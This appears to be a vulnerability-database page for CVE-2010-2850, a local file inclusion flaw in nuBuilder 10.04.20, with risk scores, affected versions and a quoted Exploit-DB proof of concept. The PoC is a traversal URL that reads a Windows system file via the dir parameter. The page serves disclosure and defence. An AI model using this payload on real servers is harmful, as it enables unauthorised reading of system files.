CVE-2010-2850

medium
Published 2010-07-25 ยท Modified 2026-04-29
CVSS v3
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CVSS v4 NEW
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not yet in upstream
VIR risk
7.8

Description

Directory traversal vulnerability in productionnu2/fileuploader.php in nuBuilder 10.04.20, and possibly other versions before 10.07.12, allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the dir parameter.

Predictions

Exploit likelihood
20%
Patch ETA
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Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-14485 webapps php verified text ยท 1 KB
John Leitch ยท 2010-07-27

nuBuilder 10.04.20 - Local File Inclusion

text exploit Source: Exploit-DB
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Software................nuBuilder 10.04.20
Vulnerability...........Local File Inclusion 
Download................http://sourceforge.net/projects/nubuilder/files/
Release Date............7/5/2010
Tested On...............Windows Vista + XAMPP
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Author..................John Leitch
Site....................http://cross-site-scripting.blogspot.com/
Email...................john.leitch5@gmail.com
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--Description--

A local file inclusion vulnerability in nuBuilder 10.04.20 can be
exploited to include arbitrary files.


--PoC--

http://localhost/nubuilder-10.04.20/productionnu2/fileuploader.php?dir=../../../../../../../../windows/system.ini%00

Application impact

VendorProductVersionsFixed
nusoftwarenubuilder{"endIncluding":"10.04.20"}
nusoftwarenubuilder09.06.10
nusoftwarenubuilder09.06.26
nusoftwarenubuilder09.07.24
nusoftwarenubuilder09.08.20
nusoftwarenubuilder09.09.23

References

CWEs

CWE-22

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.